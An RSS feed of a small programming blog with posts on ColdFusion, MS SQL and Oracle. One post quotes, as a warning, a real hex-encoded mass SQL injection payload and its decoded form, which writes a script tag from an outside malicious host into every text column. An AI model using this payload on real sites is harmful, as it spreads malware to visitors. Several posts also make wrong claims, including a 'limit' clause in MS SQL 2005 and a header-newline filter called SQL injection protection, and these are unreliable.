<?xml version="1.0" encoding="utf-8"?>

			<rss version="2.0" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:cc="http://web.resource.org/cc/" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd">

			<channel>
			<title>Against All Odds - MySql</title>
			<link>http://www.ppshein.net/index.cfm</link>
			<description>A blog for ColdFusion, Android, jQuery, jQueryMobile, Oracle, HL7 and other Web-based programming languages, Web Server like IIS7 and RDMS like Oracle, Microsoft SQL and MySQL.</description>
			<language>en-us</language>
			<pubDate>Thu, 20 Jun 2013 02:29:53 -0700</pubDate>
			<lastBuildDate>Sat, 23 Apr 2011 22:16:00 -0700</lastBuildDate>
			<generator>BlogCFC</generator>
			<docs>http://blogs.law.harvard.edu/tech/rss</docs>
			<managingEditor>pyaephyoeshein@gmail.com</managingEditor>
			<webMaster>pyaephyoeshein@gmail.com</webMaster>
			<itunes:subtitle></itunes:subtitle>
			<itunes:summary></itunes:summary>
			<itunes:category text="Technology" />
			<itunes:category text="Technology">
				<itunes:category text="Podcasting" />
			</itunes:category>
			<itunes:category text="Technology">
				<itunes:category text="Tech News" />
			</itunes:category>
			<itunes:keywords></itunes:keywords>
			<itunes:author></itunes:author>
			<itunes:owner>
				<itunes:email>pyaephyoeshein@gmail.com</itunes:email>
				<itunes:name></itunes:name>
			</itunes:owner>
			
			<itunes:explicit>no</itunes:explicit>
			
			
			
			
			
			<item>
				<title>Why Coldfusion 9 cannot connect SQL 2005 Express?</title>
				<link>http://www.ppshein.net/index.cfm/2011/4/23/Why-Coldfusion-9-cannot-connect-SQL-2005-Express</link>
				<description>
				
				In my life, mySQL database is very touch to use. Because it&apos;s very complicated to add or remove data column, rename the table name and inserting demo data without installing phpMyAdmin. That&apos;s why I decided to remove mySQL as my project database and to install SQL 2005 server Express version. 

So, download both of SQL 2005 Server and also management studio express version. Honestly, installing of SQL 2005 express version is very simple and easy. Because, my before time I&apos;ve used to develop Coldfusion Project with SQL server. That&apos;s why I can say it&apos;s simple. Unfortunately, I encountered the following error when I tried to connection SQL 2005 server in Coldfusion Administrator.

&lt;img src=&quot;http://www.ppshein.net/images/cf9_error.jpg&quot; /&gt;
				 [More]
				</description>
				
				
				<category>MySql</category>
				
				<category>Coldfusion</category>
				
				<category>MsSql</category>
				
				<pubDate>Sat, 23 Apr 2011 22:16:00 -0700</pubDate>
				<guid>http://www.ppshein.net/index.cfm/2011/4/23/Why-Coldfusion-9-cannot-connect-SQL-2005-Express</guid>
				
				
			</item>
			
		 	
			
			
			<item>
				<title>Simple Learning about Oracle Tuning</title>
				<link>http://www.ppshein.net/index.cfm/2011/1/6/Simple-Learning-about-Oracle-Tuning</link>
				<description>
				
				Today I have to retrieve data from the largest table of my project in Oracle. Approximately, this table has more than 1 million records and need to retrieve data carefully when we need. Now what I need to do is to retrieve negative quantity from this table. 

There are two ways to retrieve negative quantity from the table. One is systemically and second is simple way.

&lt;code&gt;
&lt;cfquery name=&quot;CheckOne&quot; datasource=&quot;myDSN&quot;&gt;
	select * from nh_inv_trx_tmp
	where transaction_date &lt; &apos;7-Jan-2008&apos;
	and abs(quantity) &lt;&gt; quantity
&lt;/cfquery&gt; 
&lt;/code&gt;

&lt;code&gt;
&lt;cfquery name=&quot;CheckTwo&quot; datasource=&quot;myDSN&quot;&gt;
	select * from nh_inv_trx_tmp
	where transaction_date &lt; &apos;7-Jan-2008&apos;
	and quantity &lt; 0
&lt;/cfquery&gt;
&lt;/code&gt;
				 [More]
				</description>
				
				
				<category>Oracle</category>
				
				<category>MySql</category>
				
				<category>Coldfusion</category>
				
				<category>MsSql</category>
				
				<pubDate>Thu, 06 Jan 2011 17:47:00 -0700</pubDate>
				<guid>http://www.ppshein.net/index.cfm/2011/1/6/Simple-Learning-about-Oracle-Tuning</guid>
				
				
			</item>
			
		 	
			
			
			<item>
				<title>Kill Query Session in Oracle</title>
				<link>http://www.ppshein.net/index.cfm/2011/1/4/Kill-Query-Session-in-Oracle</link>
				<description>
				
				In Microsoft SQL, we can trace currently which SQL query takes execution time and load of each SQL query in SQL Profiler. In Oracle, what should we do? It&apos;s not that simple like Microsoft SQL. Open TOAD and login as SYSTEM authentication. Then type following statement into TOAD SQL.

&lt;code&gt;
&lt;!---
MYDSN is simple database of mine.
Put your database name instead of MYDSN.
---&gt;

SELECT * FROM V$SESSION WHERE STATUS = &apos;ACTIVE&apos; AND USERNAME = &apos;MYDSN&apos;
&lt;/code&gt;

Run this query. After that, all active query will be displayed and note which query execution time takes so long.
				 [More]
				</description>
				
				
				<category>Oracle</category>
				
				<category>MySql</category>
				
				<category>MsSql</category>
				
				<pubDate>Tue, 04 Jan 2011 16:35:00 -0700</pubDate>
				<guid>http://www.ppshein.net/index.cfm/2011/1/4/Kill-Query-Session-in-Oracle</guid>
				
				
			</item>
			
		 	
			
			
			<item>
				<title>Struct in Coldfusion led get 28 error in mysql</title>
				<link>http://www.ppshein.net/index.cfm/2010/10/31/Struct-in-Coldfusion-led-get-28-error-in-mysql</link>
				<description>
				
				My blog was almost dead last weekend because which encountered &lt;a href=&quot;http://www.google.com/search?q=get+28+error+in+mysql&amp;ie=utf-8&amp;oe=utf-8&amp;aq=t&amp;rls=org.mozilla:en-US:official&amp;client=firefox-a&quot; target=&quot;_blank&quot;&gt;get 28 error&lt;/a&gt; in mysql. That&apos;s why I was seeking how come this error occurred in my blog. After a few hours, I found that query cache in mysql exceed the limited amount due to struct function of Coldfusion.

&lt;code&gt;
&lt;cfset titles = StructNew()&gt;  
&lt;/code&gt;

As the outcome of troubleshooting, using Struct in coldfusion may leak database memory and should make clear all value in Struct after using.

In mysql, Coldfusion create the blank temporary table for struct function when we using it. After assigning value into struct by developers, Coldfusion also adding value from struct into the blank temporary table. 

For every single request, Coldfusion always create the single blank temporary table for struct. For million requests, Coldfusion will also do like that? :)
				
				</description>
				
				
				<category>MySql</category>
				
				<category>CF Function</category>
				
				<category>Coldfusion</category>
				
				<category>CF Tag</category>
				
				<pubDate>Sun, 31 Oct 2010 19:07:00 -0700</pubDate>
				<guid>http://www.ppshein.net/index.cfm/2010/10/31/Struct-in-Coldfusion-led-get-28-error-in-mysql</guid>
				
				
			</item>
			
		 	
			
			
			<item>
				<title>Copy two tables in MsSql</title>
				<link>http://www.ppshein.net/index.cfm/2009/9/1/copy-two-tables-in-mssql</link>
				<description>
				
				Do you know how to copy two tables in mssql 2000? It&apos;s quite simple.

&lt;code&gt;SELECT *
INTO master.dbo.micro_blog
FROM master.dbo.micro_blog&lt;/code&gt;
				
				</description>
				
				
				<category>Oracle</category>
				
				<category>MySql</category>
				
				<category>MsSql</category>
				
				<pubDate>Tue, 01 Sep 2009 06:33:00 -0700</pubDate>
				<guid>http://www.ppshein.net/index.cfm/2009/9/1/copy-two-tables-in-mssql</guid>
				
				
			</item>
			
		 	
			
			
			<item>
				<title>Add new record at identity Off</title>
				<link>http://www.ppshein.net/index.cfm/2009/6/11/add-new-record-at-identity-off</link>
				<description>
				
				Today, I was kinda disappointed. Because, the project I got hand-over from my colleague have some SQL error. The case is our customer wanted to add new record to this table; and she set ID of this table as Identity OFF and not set identity. That&apos;s why our customer cannot add new record to this table. That&apos;s why I kept reserching how to add new record to this table. But, I have found one solution.
&lt;code&gt;
SET IDENTITY_INSERT myTable ON; INSERT INTO myTable (myId, myCol1)
VALUES (@myId, @myCol1); SELECT myId, myCol1 FROM myTable WHERE (myId =
@@IDENTITY); SET IDENTITY_INSERT myTable OFF;
&lt;/code&gt;

But it cannot solve my problem. Anyway, I get valuable solution for future.
				
				</description>
				
				
				<category>MySql</category>
				
				<category>MsSql</category>
				
				<pubDate>Thu, 11 Jun 2009 06:32:00 -0700</pubDate>
				<guid>http://www.ppshein.net/index.cfm/2009/6/11/add-new-record-at-identity-off</guid>
				
				
			</item>
			
		 	
			
			
			<item>
				<title>Single Attach MDF MSSQL</title>
				<link>http://www.ppshein.net/index.cfm/2009/6/4/single-attach-mdf-mssql</link>
				<description>
				
				Some many projects drive me so far to update my blog in these days. So, I want to update my blog when I get free time. In this post, I&apos;ll describe how to reduce our storage size by the way of deleting Log File (.ldf) of MsSQL. Sometimes, Log file is bigger than Data File (.mdf) because it save all transaction of whatever we do to our database. That&apos;s why I want to delete log file (without having risks) and create new log file without having log records. Yap, here we go. First of all, we need to detach our database. Then, delete .ldf file. (if you&apos;re not sure, backup this log file). Then, open Query Analyzer and type following coding.

&lt;code&gt;
EXEC sp_attach_single_file_db @dbname = &apos;[db_name]&apos;, 1, 
@physname = &apos;C:\MSSQL\Data\[mdf_file_name]&apos;
&lt;/code&gt;

After that, run it. SQL will create new log file for you. How? Easy. Isn&apos;t it?
				
				</description>
				
				
				<category>MySql</category>
				
				<category>MsSql</category>
				
				<pubDate>Thu, 04 Jun 2009 06:32:00 -0700</pubDate>
				<guid>http://www.ppshein.net/index.cfm/2009/6/4/single-attach-mdf-mssql</guid>
				
				
			</item>
			
		 	
			
			
			<item>
				<title>Limit tag in MsSQL 2005</title>
				<link>http://www.ppshein.net/index.cfm/2009/5/21/limit-tag-in-mssql-2005</link>
				<description>
				
				Hope everybody knows about &lt;strong&gt;limit&lt;/strong&gt; tag MsSql 2005. I feel that&apos;s cool and can reduce the load of SQL query just like mySQL. It&apos;s kinda simple to use this tag.

&lt;code&gt;
SELECT * FROM myTable limit 1,10
&lt;/code&gt;

If we write so, the sql will return starting from the first record, and plus 10 record in the recordset of myTable.

&lt;code&gt;
SELECT * FROM myTable limit 20,40
&lt;/code&gt;

If we write so, the sql will return starting from the 20th and plus 10 record of myTable. How.? It&apos;s easy, isn&apos;t it?
				
				</description>
				
				
				<category>MySql</category>
				
				<category>MsSql</category>
				
				<pubDate>Thu, 21 May 2009 06:32:00 -0700</pubDate>
				<guid>http://www.ppshein.net/index.cfm/2009/5/21/limit-tag-in-mssql-2005</guid>
				
				
			</item>
			
		 	
			
			
			<item>
				<title>SQL Injection prevented by PHP</title>
				<link>http://www.ppshein.net/index.cfm/2009/4/21/sql-injection-prevented-by-php</link>
				<description>
				
				Above posts, I&apos;ve described the figure of SQL ASCII Injections and the solutions of this prevented by asp, asp.net and cfmx. In this post, I&apos;ll show how to prevent SQL ASCII Injection attacks by the way of inserting ASCII codes in PHP.
&lt;code&gt;
function clean_header($string)
{
$string = trim($string);

// From RFC 822: &quot;The field-body may be composed of any ASCII
// characters, except CR or LF.&quot;
if (strpos($string, &quot;\n&quot;) !== false) {
$string = substr($string, 0, strpos($string, &quot;\n&quot;));
}
if (strpos($string, &quot;\r&quot;) !== false) {
$string = substr($string, 0, strpos($string, &quot;\r&quot;));
}

return $string;
}
&lt;/code&gt;
This is just a class, and you always need to call this class before saving data into database from input box. It&apos;s simple though.

Big Credit to : &lt;a title=&quot;http://xtian.goelette.info/archives/38-Email-injection-attack.html&quot; href=&quot;http://xtian.goelette.info/archives/38-Email-injection-attack.html&quot; target=&quot;_blank&quot;&gt;http://xtian.goelette.info/archives/38-Email-injection-attack.html&lt;/a&gt;
				
				</description>
				
				
				<category>MySql</category>
				
				<category>PHP</category>
				
				<category>MsSql</category>
				
				<pubDate>Tue, 21 Apr 2009 06:32:00 -0700</pubDate>
				<guid>http://www.ppshein.net/index.cfm/2009/4/21/sql-injection-prevented-by-php</guid>
				
				
			</item>
			
		 	
			
			
			<item>
				<title>ASCII Encoded/Binary String Automated SQL Injection Attack</title>
				<link>http://www.ppshein.net/index.cfm/2009/4/11/ascii-encoded-binary-string-automated-sql-injection-attack</link>
				<description>
				
				In these days, some websites have been attacked by ASCII Encoded/Binary String Automated SQL Injection Attack, by the way of using of using such binary string after query string of your website.
&lt;code&gt;?;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST
(0x4445434C4152452040542076617263686172283235352
92C40432076617263686172283430303029204445434C41
5245205461626C655F437572736F7220435552534F52204
64F522073656C65637420612E6E616D652C622E6E616D65206672
6F6D207379736F626A6563747320612C737973636F6C75
6D6E73206220776865726520612E69643D622E696420616E
6420612E78747970653D27752720616E642028622E7874797
0653D3939206F7220622E78747970653D3335206F7220622
E78747970653D323331206F7220622E78747970653D31
363729204F50454E205461626C655F43757273
6F72204645544348204E4558542046524F4D20205
461626C655F437572736F7220494E5
44F2040542C4043205748494C4528404046455443485F53544
15455533D302920424547494E206578656328
27757064617465205B272B40542B2
75D20736574205B272B40432B275D3D5B272B
40432B275D2B2727223E3C2F7469
746C653E3C736372697074207372633D22687
474703A2F2F73646F2E313030306
D672E636E2F63737273732F772E6A73223E3C
2F7363726970743E3C212D2D2727
20776865726520272B40432B27206E6F74206C
696B6520272725223E3C2F74697
46C653E3C736372697074207372633D2268747
4703A2F2F73646F2E313030306D
672E636E2F63737273732F772E6A73223E3C2F
7363726970743E3C212D2D27272
7294645544348204E4558542046524F4D20205
461626C655F437572736F7220494
E544F2040542C404320454E4420434C4F53452
05461626C655F437572736F72204
445414C4C4F43415445205461626C655F4375
72736F72%20AS%20CHAR(4000));
EXEC(@S);&lt;/code&gt;
Really, it&apos;s encoded format of store procedure string. To convert it into SQL format, here is coding
&lt;code&gt;DECLARE @SCHAR(4000);SET @S=CAST(DECLARE @T varchar(255)&apos;@C
varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name&apos;b.name
from sysobjects a&apos;syscolumns b where a.id=b.id and a.xtype=&apos;u&apos; and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN
Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T&apos;@C
WHILE(@@FETCH_STATUS=0) BEGIN exec(&apos;update [&apos;+@T+&apos;] set
[&apos;+@C+&apos;]=[&apos;+@C+&apos;]+&apos;&apos;&quot;&gt;&lt;/title&gt;&lt;invalidTag
src=&quot;http://sdo.1000mg.cn/csrss/w.js&quot;&gt;&lt;/script&gt;&lt;!--&apos;&apos; where
&apos;+@C+&apos; not like &apos;&apos;%&quot;&gt;&lt;/title&gt;&lt;invalidTag
src=&quot;http://sdo.1000mg.cn/csrss/w.js&quot;&gt;&lt;/script&gt;&lt;!--&apos;&apos;&apos;)
FETCH NEXT FROM  Table_Cursor INTO @T&apos;@C END CLOSE Table_Cursor
DEALLOCATE Table_Cursor AS% CHAR(4000));EXEC(@S)&lt;/code&gt;
If someone does like that or if your sites doesn&apos;t prevent for SQL injection, all of nvarchar field in your database will be inserted into such string &lt;span style=&quot;color:#0000ff;&quot;&gt;&lt;/title&gt;&lt;invalidTag
src=&quot;http://sdo.1000mg.cn/csrss/w.js&quot;&gt;&lt;/script&gt;&lt;!--
&lt;/span&gt; and your database, especially your SQL might be in crush or over-loaded for sure. Yoo..!! Are your sites too late to prevent?
				
				</description>
				
				
				<category>MySql</category>
				
				<category>MsSql</category>
				
				<pubDate>Sat, 11 Apr 2009 06:32:00 -0700</pubDate>
				<guid>http://www.ppshein.net/index.cfm/2009/4/11/ascii-encoded-binary-string-automated-sql-injection-attack</guid>
				
				
			</item>
			
		 	
			
			
			<item>
				<title>passed to log scan mssql 2000</title>
				<link>http://www.ppshein.net/index.cfm/2009/3/13/passed-to-log-scan-mssql-2000</link>
				<description>
				
				I was dilemma last weekend. Now that our server has faced such error message &quot;&lt;strong&gt;passed to log scan&lt;/strong&gt;&quot; while attaching database with MS.SQL 2000 enterprise manager. For this case, I was stack on this error and trying to get data from *.mdf file on anyway like seeking in Google. Fortunately, I&apos;ve found &lt;a title=&quot;www.ureader.com&quot; href=&quot;http://www.ureader.com/msg/1145136.aspx&quot; target=&quot;_blank&quot;&gt;www.ureader.com&lt;/a&gt; pointing out these kinda error message, how to solve it.

I did the instruction of this blog. But, it was not fine and showed my database is marked as &lt;em&gt;Emergency mode. &lt;/em&gt;At that time, I have had an idea to retrieve the included datas from *.mdf with by the way of using SQL Query Analyzer. Thanks God. Cause I can retrieve all included data by Query Analyzer but one left is how to migrate the data from the database marked as Suspend mode to another new database. I was supposed to set all data into text output with Query Analyzer or something else. But, anything would be ok. Finally, I&apos;ve create black database and using follow query string to migrate new database as to recover my database.

&lt;code&gt;
SELECT * INTO NewTable FROM existingdb.dbo.existingtable
&lt;/code&gt;

Best Credit to :&lt;a title=&quot;http://www.ureader.com/msg/1145136.aspx&quot; href=&quot;http://www.ureader.com/msg/1145136.aspx&quot; target=&quot;_blank&quot;&gt;http://www.ureader.com/msg/1145136.aspx&lt;/a&gt; &lt;a title=&quot;http://snippets.dzone.com/posts/show/372&quot; href=&quot;http://snippets.dzone.com/posts/show/372&quot; target=&quot;_blank&quot;&gt;http://snippets.dzone.com/posts/show/372&lt;/a&gt;
				
				</description>
				
				
				<category>Oracle</category>
				
				<category>MySql</category>
				
				<category>MsSql</category>
				
				<pubDate>Fri, 13 Mar 2009 06:32:00 -0700</pubDate>
				<guid>http://www.ppshein.net/index.cfm/2009/3/13/passed-to-log-scan-mssql-2000</guid>
				
				
			</item>
			
		 	
			</channel></rss>